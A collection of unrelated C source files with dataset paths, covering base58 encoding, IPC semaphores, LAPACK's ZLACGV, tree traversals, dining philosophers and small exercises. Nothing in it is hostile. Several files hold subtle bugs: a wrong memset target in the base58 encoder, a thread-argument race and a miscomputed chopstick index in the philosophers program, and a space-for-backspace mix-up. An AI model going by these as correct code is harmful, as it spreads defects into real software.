*(binu++) = (outi[j] >> 8) & 0xff; *(binu++) = (outi[j] >> 0) & 0xff; } // Count canonical base58 byte count binu = *bin; for (i = 0; i < binsz; ++i) { if (binu[i]) { break; } --*binszp; } *binszp += zerocount; memset(outi, 0, outisz * sizeof(*outi)); return 1; } /** * encode an array of bytes into a base58 string * @param binary_data the data to be encoded * @param binary_data_size the size of the data to be encoded * @param base58 the results buffer * @param base58_size the size of the results buffer * @returns true(1) on success */ int libp2p_crypto_encoding_base58_encode(const unsigned char* binary_data, size_t binary_data_size, unsigned char** base58, size_t* base58_size) { const uint8_t* bin = binary_data; int carry; ssize_t i, j, high, zcount = 0; size_t size; while (zcount < (ssize_t)binary_data_size && !bin[zcount]) { ++zcount; } size = (binary_data_size - zcount) * 138 / 100 + 1; uint8_t buf[size]; memset(buf, 0, size); for (i = zcount, high = size - 1; i < (ssize_t)binary_data_size; ++i, high = j) { for (carry = bin[i], j = size - 1; (j > high) || carry; --j) { carry += 256 * buf[j]; buf[j] = carry % 58; carry /= 58; } } for (j = 0; j < (ssize_t)size && !buf[j]; ++j) ; if (*base58_size <= zcount + size - j) { *base58_size = zcount + size - j + 1; memset(buf, 0, size); return 0; } if (zcount) { memset(base58, '1', zcount); } for (i = zcount; j < (ssize_t)size; ++i, ++j) { (*base58)[i] = b58digits_ordered[buf[j]]; } (*base58)[i] = '\0'; *base58_size = i + 1; memset(buf, 0, size); return 1; } /** * calculate the max length in bytes of an encoding of n source bytes * @param encoded_size the size of the encoded string * @returns the maximum size in bytes had the string been decoded */ size_t libp2p_crypto_encoding_base58_decode_size(size_t encoded_size) { size_t radix = strlen(b58digits_ordered); double bits_per_digit = log2(radix); // each char represents about 6 bits return ceil(encoded_size * bits_per_digit / 8); } /** * calculate the max length in bytes of a decoding of n source bytes * @param decoded_size the size of the incoming string to be encoded * @returns the maximum size in bytes had the string been encoded */ size_t libp2p_crypto_encoding_base58_encode_size(size_t decoded_size) { size_t radix = strlen(b58digits_ordered); double bits_per_digit = log2(radix); // each character return ceil( 8 / bits_per_digit * decoded_size); }
the_stack_data/18325.c
#include <stdio.h> // stdin std 标准 输入流 // stdout 输出流 // stderr 错误流 int main() { //printf("please input the value a:\n"); fprintf(stdout, "please input the value a:\n"); //printf("hello world!\n"); int a; //scanf("%d", &a); fscanf(stdin,"%d", &a); if(a<0) { fprintf(stderr, "the value must > 0\n"); return 1; } //printf("input value is :%d\n", a); return 0; }
the_stack_data/97012117.c
#include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <sys/ipc.h> #include <sys/shm.h> #include <sys/sem.h> const key_t SHM_KEY = 0x424242; //Key of the shared memory segment const key_t SEM_KEY = 0x424242; //Key of the semaphore /* * This Linux semaphore consists of two semaphores * - ID 0: READY_TO_WRITE - Initialized with 1 * - ID 1: READY_TO_READ - Initialized with 0 */ const int READY_TO_WRITE = 0; const int READY_TO_READ = 1; const int P_OP = -1; //P operation: subtract 1 const int V_OP = 1; //V operation: adds 1 const int PERM = 0644; //Permission to the semaphore #define MAX_SHM_LEN (1024) // length of shared memory const char* LOGFILE = "log_server_sm.log"; //path of logfile int global_semid = 0; void create_new_semaphore() { global_semid = semget(SEM_KEY, 0, IPC_PRIVATE); if(global_semid >= 0){ //delete it if it exists! semctl(global_semid, 0, IPC_RMID); } //create semaphore with length 2 global_semid = semget(SEM_KEY, 2, IPC_CREAT | IPC_EXCL | PERM); if(global_semid < 0) { perror("Error when creating the semaphore ...\n"); exit(EXIT_FAILURE); } //init semaphore READY_TO_WRITE with value 1 if(semctl(global_semid, READY_TO_WRITE, SETVAL, (int) 1) == -1) { perror("Error can't initialise READY_TO_WRITE semaphore...\n"); exit(EXIT_FAILURE); } //init semaphore READY_TO_READ with value 0 if(semctl(global_semid, READY_TO_READ, SETVAL, (int) 0) == -1) { perror("Error can't initialise READY_TO_READ semaphore...\n"); exit(EXIT_FAILURE); } } void semaphore_operation(int sid, int sem_num, int op) { //does a semaphore operation P/V struct sembuf semaphore; semaphore.sem_op = op; //P = -1; V = 1 semaphore.sem_flg = 0; //no flags needed semaphore.sem_num = sem_num; //semaphore with index sem_num if(semop(sid, &semaphore, 1) == -1) { perror("semop failed"); exit (EXIT_FAILURE); } } void P(int semid, int sem_num) { semaphore_operation(semid, sem_num, P_OP); } void V(int semid, int sem_num) { semaphore_operation(semid, sem_num, V_OP); } int main() { //create the semaphores create_new_semaphore(); //create the shared memory int shared_mem_id = shmget(SHM_KEY, MAX_SHM_LEN, PERM | IPC_CREAT); if(shared_mem_id < 0) { perror("Error: can't create shared memory!\n"); exit(EXIT_FAILURE); } //attach the shared memory void* shared_mem_address = shmat(shared_mem_id, NULL, SHM_RDONLY); if(shared_mem_address == (void*)-1) { perror("Error: can't attach shared memory!\n"); exit(EXIT_FAILURE); } //create and open the logfile FILE* logfile = fopen(LOGFILE, "a"); //open in append mode (a) if(logfile == NULL) { perror("Error: can't open logfile!\n"); exit(EXIT_FAILURE); } //let buffer point the shared mem address as a char pointer char* buffer = (char*)shared_mem_address; //server endless loop while(1) { //wait that someone writes something into the shared memory P(global_semid, READY_TO_READ); //print received message on console printf("message: %s\n", buffer); //write message to log fputs(buffer, logfile); fflush(logfile); //make sure it is flushed right now //signal a client can now write into the shared memory V(global_semid, READY_TO_WRITE); } //close logfile fclose(logfile); //detach shared memory shmdt(shared_mem_address); buffer = NULL; shared_mem_address = NULL; //delete shared memory shmctl(shared_mem_id, IPC_RMID, NULL); return EXIT_SUCCESS; //should never be reached }
the_stack_data/904004.c
/* ************************************************ username : smmehrab fullname : s.m.mehrabul islam email : [email protected] institute : university of dhaka, bangladesh session : 2017-2018 ************************************************ */ #include<stdio.h> unsigned long long int max(unsigned long long int a,unsigned long long int b){ if(a>b) return a; return b; } unsigned long long int min(unsigned long long int a,unsigned long long int b){ if(a>b) return b; return a; } unsigned long long int algo(unsigned long long int n) { unsigned long long int b=0; while(1){ if(n==1) return b+1; if((n%2)==1) n=(3*n)+1; else n/=2; b++; } } int main() { unsigned long long int i,j,a,b,m,l; while(scanf("%llu %llu",&a,&b)==2){ m=0; i=min(a,b); j=max(a,b); while(i<=j){ l=algo(i++); if(l>m) m=l; } printf("%llu %llu %llu\n",a,b,m); } return 0; }
the_stack_data/297302.c
struct { /* field 4 bits wide */ unsigned field1 : 4; /* * unnamed 3 bit field * unnamed fields allow for padding */ unsigned : 3; /* * one-bit field * can only be 0 or -1 in two's complement! */ signed field2 : 1; /* align next field on a storage unit */ unsigned : 0; unsigned field3 : 6; } full_of_fields;
the_stack_data/99990.c
/* K&R Exercise 1-10 * Copy stdin to stdout, replacing tab by "\t", backspace by "\b" and * backslash by "\\" */ #include <stdio.h> int main() { int c; while ((c = getchar()) != EOF) { if (c == '\t') { putchar('\\'); putchar('t'); } else if (c == ' ') { putchar('\\'); putchar('b'); } else if (c == '\\') { putchar('\\'); putchar('\\'); } else putchar(c); } return 0; }
the_stack_data/119325.c
/* f2c.h -- Standard Fortran to C header file */ /** barf [ba:rf] 2. "He suggested using FORTRAN, and everybody barfed." - From The Shogakukan DICTIONARY OF NEW ENGLISH (Second edition) */ #ifndef F2C_INCLUDE #define F2C_INCLUDE #include <math.h> #include <stdlib.h> #include <string.h> #include <stdio.h> #include <complex.h> #ifdef complex #undef complex #endif #ifdef I #undef I #endif #if defined(_WIN64) typedef long long BLASLONG; typedef unsigned long long BLASULONG; #else typedef long BLASLONG; typedef unsigned long BLASULONG; #endif #ifdef LAPACK_ILP64 typedef BLASLONG blasint; #if defined(_WIN64) #define blasabs(x) llabs(x) #else #define blasabs(x) labs(x) #endif #else typedef int blasint; #define blasabs(x) abs(x) #endif typedef blasint integer; typedef unsigned int uinteger; typedef char *address; typedef short int shortint; typedef float real; typedef double doublereal; typedef struct { real r, i; } complex; typedef struct { doublereal r, i; } doublecomplex; static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;} static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;} static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;} static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;} #define pCf(z) (*_pCf(z)) #define pCd(z) (*_pCd(z)) typedef int logical; typedef short int shortlogical; typedef char logical1; typedef char integer1; #define TRUE_ (1) #define FALSE_ (0) /* Extern is for use with -E */ #ifndef Extern #define Extern extern #endif /* I/O stuff */ typedef int flag; typedef int ftnlen; typedef int ftnint; /*external read, write*/ typedef struct { flag cierr; ftnint ciunit; flag ciend; char *cifmt; ftnint cirec; } cilist; /*internal read, write*/ typedef struct { flag icierr; char *iciunit; flag iciend; char *icifmt; ftnint icirlen; ftnint icirnum; } icilist; /*open*/ typedef struct { flag oerr; ftnint ounit; char *ofnm; ftnlen ofnmlen; char *osta; char *oacc; char *ofm; ftnint orl; char *oblnk; } olist; /*close*/ typedef struct { flag cerr; ftnint cunit; char *csta; } cllist; /*rewind, backspace, endfile*/ typedef struct { flag aerr; ftnint aunit; } alist; /* inquire */ typedef struct { flag inerr; ftnint inunit; char *infile; ftnlen infilen; ftnint *inex; /*parameters in standard's order*/ ftnint *inopen; ftnint *innum; ftnint *innamed; char *inname; ftnlen innamlen; char *inacc; ftnlen inacclen; char *inseq; ftnlen inseqlen; char *indir; ftnlen indirlen; char *infmt; ftnlen infmtlen; char *inform; ftnint informlen; char *inunf; ftnlen inunflen; ftnint *inrecl; ftnint *innrec; char *inblank; ftnlen inblanklen; } inlist; #define VOID void union Multitype { /* for multiple entry points */ integer1 g; shortint h; integer i; /* longint j; */ real r; doublereal d; complex c; doublecomplex z; }; typedef union Multitype Multitype; struct Vardesc { /* for Namelist */ char *name; char *addr; ftnlen *dims; int type; }; typedef struct Vardesc Vardesc; struct Namelist { char *name; Vardesc **vars; int nvars; }; typedef struct Namelist Namelist; #define abs(x) ((x) >= 0 ? (x) : -(x)) #define dabs(x) (fabs(x)) #define f2cmin(a,b) ((a) <= (b) ? (a) : (b)) #define f2cmax(a,b) ((a) >= (b) ? (a) : (b)) #define dmin(a,b) (f2cmin(a,b)) #define dmax(a,b) (f2cmax(a,b)) #define bit_test(a,b) ((a) >> (b) & 1) #define bit_clear(a,b) ((a) & ~((uinteger)1 << (b))) #define bit_set(a,b) ((a) | ((uinteger)1 << (b))) #define abort_() { sig_die("Fortran abort routine called", 1); } #define c_abs(z) (cabsf(Cf(z))) #define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); } #define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);} #define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);} #define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));} #define c_log(R, Z) {pCf(R) = clogf(Cf(Z));} #define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));} //#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));} #define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));} #define d_abs(x) (fabs(*(x))) #define d_acos(x) (acos(*(x))) #define d_asin(x) (asin(*(x))) #define d_atan(x) (atan(*(x))) #define d_atn2(x, y) (atan2(*(x),*(y))) #define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); } #define r_cnjg(R, Z) { pCf(R) = conj(Cf(Z)); } #define d_cos(x) (cos(*(x))) #define d_cosh(x) (cosh(*(x))) #define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 ) #define d_exp(x) (exp(*(x))) #define d_imag(z) (cimag(Cd(z))) #define r_imag(z) (cimag(Cf(z))) #define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x))) #define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) ) #define d_log(x) (log(*(x))) #define d_mod(x, y) (fmod(*(x), *(y))) #define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x))) #define d_nint(x) u_nint(*(x)) #define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a))) #define d_sign(a,b) u_sign(*(a),*(b)) #define r_sign(a,b) u_sign(*(a),*(b)) #define d_sin(x) (sin(*(x))) #define d_sinh(x) (sinh(*(x))) #define d_sqrt(x) (sqrt(*(x))) #define d_tan(x) (tan(*(x))) #define d_tanh(x) (tanh(*(x))) #define i_abs(x) abs(*(x)) #define i_dnnt(x) ((integer)u_nint(*(x))) #define i_len(s, n) (n) #define i_nint(x) ((integer)u_nint(*(x))) #define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b))) #define pow_dd(ap, bp) ( pow(*(ap), *(bp))) #define pow_si(B,E) spow_ui(*(B),*(E)) #define pow_ri(B,E) spow_ui(*(B),*(E)) #define pow_di(B,E) dpow_ui(*(B),*(E)) #define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));} #define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));} #define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));} #define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; } #define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d)))) #define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; } #define sig_die(s, kill) { exit(1); } #define s_stop(s, n) {exit(0);} static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n"; #define z_abs(z) (cabs(Cd(z))) #define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));} #define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));} #define myexit_() break; #define mycycle() continue; #define myceiling(w) {ceil(w)} #define myhuge(w) {HUGE_VAL} //#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);} #define mymaxloc(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)} /* procedure parameter types for -A and -C++ */ #define F2C_proc_par_types 1 #ifdef __cplusplus typedef logical (*L_fp)(...); #else typedef logical (*L_fp)(); #endif static float spow_ui(float x, integer n) { float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static double dpow_ui(double x, integer n) { double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static _Complex float cpow_ui(_Complex float x, integer n) { _Complex float pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static _Complex double zpow_ui(_Complex double x, integer n) { _Complex double pow=1.0; unsigned long int u; if(n != 0) { if(n < 0) n = -n, x = 1/x; for(u = n; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static integer pow_ii(integer x, integer n) { integer pow; unsigned long int u; if (n <= 0) { if (n == 0 || x == 1) pow = 1; else if (x != -1) pow = x == 0 ? 1/x : 0; else n = -n; } if ((n > 0) || !(n == 0 || x == 1 || x != -1)) { u = n; for(pow = 1; ; ) { if(u & 01) pow *= x; if(u >>= 1) x *= x; else break; } } return pow; } static integer dmaxloc_(double *w, integer s, integer e, integer *n) { double m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static integer smaxloc_(float *w, integer s, integer e, integer *n) { float m; integer i, mi; for(m=w[s-1], mi=s, i=s+1; i<=e; i++) if (w[i-1]>m) mi=i ,m=w[i-1]; return mi-s+1; } static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i])) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i])) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex float zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i]) * Cf(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cf(&x[i*incx]) * Cf(&y[i*incy]); } } pCf(z) = zdotc; } static inline void zdotu_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) { integer n = *n_, incx = *incx_, incy = *incy_, i; _Complex double zdotc = 0.0; if (incx == 1 && incy == 1) { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i]) * Cd(&y[i]); } } else { for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */ zdotc += Cd(&x[i*incx]) * Cd(&y[i*incy]); } } pCd(z) = zdotc; } #endif /* -- translated by f2c (version 20000121). You must link the resulting object file with the libraries: -lf2c -lm (in that order) */ /* > \brief \b ZLACGV conjugates a complex vector. */ /* =========== DOCUMENTATION =========== */ /* Online html documentation available at */ /* http://www.netlib.org/lapack/explore-html/ */ /* > \htmlonly */ /* > Download ZLACGV + dependencies */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.tgz?format=tgz&filename=/lapack/lapack_routine/zlacgv. f"> */ /* > [TGZ]</a> */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.zip?format=zip&filename=/lapack/lapack_routine/zlacgv. f"> */ /* > [ZIP]</a> */ /* > <a href="http://www.netlib.org/cgi-bin/netlibfiles.txt?format=txt&filename=/lapack/lapack_routine/zlacgv. f"> */ /* > [TXT]</a> */ /* > \endhtmlonly */ /* Definition: */ /* =========== */ /* SUBROUTINE ZLACGV( N, X, INCX ) */ /* INTEGER INCX, N */ /* COMPLEX*16 X( * ) */ /* > \par Purpose: */ /* ============= */ /* > */ /* > \verbatim */ /* > */ /* > ZLACGV conjugates a complex vector of length N. */ /* > \endverbatim */ /* Arguments: */ /* ========== */ /* > \param[in] N */ /* > \verbatim */ /* > N is INTEGER */ /* > The length of the vector X. N >= 0. */ /* > \endverbatim */ /* > */ /* > \param[in,out] X */ /* > \verbatim */ /* > X is COMPLEX*16 array, dimension */ /* > (1+(N-1)*abs(INCX)) */ /* > On entry, the vector of length N to be conjugated. */ /* > On exit, X is overwritten with conjg(X). */ /* > \endverbatim */ /* > */ /* > \param[in] INCX */ /* > \verbatim */ /* > INCX is INTEGER */ /* > The spacing between successive elements of X. */ /* > \endverbatim */ /* Authors: */ /* ======== */ /* > \author Univ. of Tennessee */ /* > \author Univ. of California Berkeley */ /* > \author Univ. of Colorado Denver */ /* > \author NAG Ltd. */ /* > \date December 2016 */ /* > \ingroup complex16OTHERauxiliary */ /* ===================================================================== */ /* Subroutine */ int zlacgv_(integer *n, doublecomplex *x, integer *incx) { /* System generated locals */ integer i__1, i__2; doublecomplex z__1; /* Local variables */ integer ioff, i__; /* -- LAPACK auxiliary routine (version 3.7.0) -- */ /* -- LAPACK is a software package provided by Univ. of Tennessee, -- */ /* -- Univ. of California Berkeley, Univ. of Colorado Denver and NAG Ltd..-- */ /* December 2016 */ /* ===================================================================== */ /* Parameter adjustments */ --x; /* Function Body */ if (*incx == 1) { i__1 = *n; for (i__ = 1; i__ <= i__1; ++i__) { i__2 = i__; d_cnjg(&z__1, &x[i__]); x[i__2].r = z__1.r, x[i__2].i = z__1.i; /* L10: */ } } else { ioff = 1; if (*incx < 0) { ioff = 1 - (*n - 1) * *incx; } i__1 = *n; for (i__ = 1; i__ <= i__1; ++i__) { i__2 = ioff; d_cnjg(&z__1, &x[ioff]); x[i__2].r = z__1.r, x[i__2].i = z__1.i; ioff += *incx; /* L20: */ } } return 0; /* End of ZLACGV */ } /* zlacgv_ */
the_stack_data/11694.c
struct b { long c }; struct d { long aa }; struct e { long g; long ab } * h(); i, j, k, l, m, a, b; *n; struct d *o(); *p(); q() { struct d c = *o(); struct e d = *h(); int e, f; ac: r(j); if (!n) goto ad; e = n; f = n == s(); if (t()) if (u()) goto ae; if (a) if (f) v(); else { w(); x(k); struct b *g = l = p(); y(); if (w() & i) g->c = h()->ab; m = l; } if (f) if (d.g) z(); else if (c.aa) af(); b = e; ad: return b; ae: if (f) if (j) goto ac; }
the_stack_data/211079808.c
// C program for different tree traversals #include <stdio.h> #include <stdlib.h> /* A binary tree node has data, pointer to left child and a pointer to right child */ struct node { int data; struct node* left; struct node* right; }; /* Helper function that allocates a new node with the given data and NULL left and right pointers. */ struct node* newNode(int data) { struct node* node = (struct node*) malloc(sizeof(struct node)); node->data = data; node->left = NULL; node->right = NULL; return(node); } /************ Traversal Algorithms ************/ void printInorder(struct node* root) { if (root == NULL) { return; } printInorder(root->left); printf("%d\t",root->data); printInorder(root->right); } void printPreorder(struct node* root) { if (root == NULL) { return; } printf("%d\t",root->data); printPreorder(root->left); printPreorder(root->right); } void printPostorder(struct node* root) { if (root == NULL) { return; } printPostorder(root->left); printPostorder(root->right); printf("%d\t",root->data); } /**********************************************/ /* Driver program to test above functions*/ int main() { struct node *root = newNode(1); root->left = newNode(2); root->right = newNode(3); root->left->left = newNode(4); root->left->right = newNode(5); printf("\nPreorder traversal of binary tree is \n"); printPreorder(root); printf("\nInorder traversal of binary tree is \n"); printInorder(root); printf("\nPostorder traversal of binary tree is \n"); printPostorder(root); getchar(); return 0; }
the_stack_data/1246891.c
extern int __CRAB_nd(void); int a[10]; int main (){ int i; for (i=0;i<10;i++) { if (__CRAB_nd ()) a[i]=0; else a[i]=5; } int res = a[i-1]; return res; }
the_stack_data/76699319.c
/* * The MIT License (MIT) * * Copyright (c) 2016 Jiří Šrámek (https://github.com/JiriS97/) * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #include <stdio.h> #define N 8 int *Max(int *pointer, unsigned int length); int main() { int pole[N] = {7, -1, 8, -11, 5, 10, -2, 9}; int *max; max = Max(pole, N); printf("Nejvetsi cislo ma index %i, je na adrese 0x%xll\n", (max-pole), max); printf("Je to cislo %i\n", *max); return 0; } int *Max(int *pointer, unsigned int length) { int *max; max = pointer; for (unsigned int i = 0; i < length; i++) { if (pointer[i] >(*max)) max = &pointer[i]; } return max; }
the_stack_data/28316.c
// Include C library for function `printf`. #include <stdio.h> // Include C library for functions `srand`, `rand`, `time`. #include <stdlib.h> // Include C library for functions `pthread_create`, `pthread_join`, `pthread_mutex_init`, `pthread_mutex_lock`, `pthread_mutex_unlock`, `pthread_mutex_destroy`; types `pthread_t`, `pthread_mutex_t`. #include <pthread.h> // Include C library for function `sleep`. #include <unistd.h> /// /// Macro /// #define PHILOSOPHERS_COUNT 5 /// /// Global variables /// pthread_mutex_t g_kChopsticks[ PHILOSOPHERS_COUNT ]; pthread_t g_kPhilosophers[ PHILOSOPHERS_COUNT ]; /// /// Functions' declarations /// void* PerformPtr( void* pArgument); void Think( const int nPhilosopherIndex ); void PickUpChopstick( const int nPhilosopherIndex ); void Eat( const int nPhilosopherIndex ); void PutDownChopstick( const int nPhilosopherIndex ); /// /// Main function /// int main( int nArgumentsCount, char* kArguments[] ) { srand( time( NULL ) ); int nIndex; for ( nIndex = 0; nIndex < PHILOSOPHERS_COUNT; nIndex++ ) { pthread_mutex_init( &g_kChopsticks[ nIndex ], NULL ); } for ( nIndex = 0; nIndex < PHILOSOPHERS_COUNT; nIndex++ ) { pthread_create( &g_kPhilosophers[ nIndex ], NULL, PerformPtr, &nIndex ); } for ( nIndex = 0; nIndex < PHILOSOPHERS_COUNT; nIndex++ ) { pthread_join( g_kPhilosophers[ nIndex ], NULL ); } for ( nIndex = 0; nIndex < PHILOSOPHERS_COUNT; nIndex++ ) { pthread_mutex_destroy( &g_kChopsticks[ nIndex ] ); } return 0; } /// /// Functions' definitions /// void* PerformPtr( void* pArgument) { const int nPhilosopherIndex = *( ( int* )pArgument ); while ( 1 ) { Think( nPhilosopherIndex ); PickUpChopstick( nPhilosopherIndex ); Eat( nPhilosopherIndex ); PutDownChopstick( nPhilosopherIndex ); } } void Think( const int nPhilosopherIndex ) { int nThinkingTime = rand() % 3 + 1; printf( "Philosopher %d will think for %d second(s).\n", nPhilosopherIndex, nThinkingTime ); sleep( nThinkingTime ); } void PickUpChopstick( const int nPhilosopherIndex ) { int nRightPhilosopherIndex = ( nPhilosopherIndex + 1 ) % PHILOSOPHERS_COUNT; int nLeftPhilosopherIndex = ( nPhilosopherIndex + PHILOSOPHERS_COUNT ) % PHILOSOPHERS_COUNT; if ( nPhilosopherIndex & 1 ) { printf( "Philosopher %d is waiting to pick up chopstick %d.\n", nPhilosopherIndex, nRightPhilosopherIndex ); pthread_mutex_lock( &g_kChopsticks[ nRightPhilosopherIndex ] ); printf( "Philosopher %d picked up chopstick %d.\n", nPhilosopherIndex, nRightPhilosopherIndex ); printf( "Philosopher %d is waiting to pick up chopstick %d.\n", nPhilosopherIndex, nLeftPhilosopherIndex ); pthread_mutex_lock( &g_kChopsticks[ nLeftPhilosopherIndex ] ); printf( "Philosopher %d picked up chopstick %d.\n", nPhilosopherIndex, nLeftPhilosopherIndex ); } else { printf( "Philosopher %d is waiting to pick up chopstick %d.\n", nPhilosopherIndex, nLeftPhilosopherIndex ); pthread_mutex_lock( &g_kChopsticks[ nLeftPhilosopherIndex ]); printf( "Philosopher %d picked up chopstick %d.\n", nPhilosopherIndex, nLeftPhilosopherIndex ); printf( "Philosopher %d is waiting to pick up chopstick %d.\n", nPhilosopherIndex, nRightPhilosopherIndex ); pthread_mutex_lock( &g_kChopsticks[ nRightPhilosopherIndex ] ); printf( "Philosopher %d picked up chopstick %d.\n", nPhilosopherIndex, nRightPhilosopherIndex ); } } void Eat( const int nPhilosopherIndex ) { int nEatingTime = rand() % 3 + 1; printf( "Philosopher %d will eat for %d second(s).\n", nPhilosopherIndex, nEatingTime ); sleep( nEatingTime ); } void PutDownChopstick( const int nPhilosopherIndex ) { printf( "Philosopher %d will put down chopsticks.\n", nPhilosopherIndex ); pthread_mutex_unlock( &g_kChopsticks[ ( nPhilosopherIndex + 1 ) % PHILOSOPHERS_COUNT] ); pthread_mutex_unlock( &g_kChopsticks[ ( nPhilosopherIndex + PHILOSOPHERS_COUNT ) % PHILOSOPHERS_COUNT ] ); }
the_stack_data/972882.c
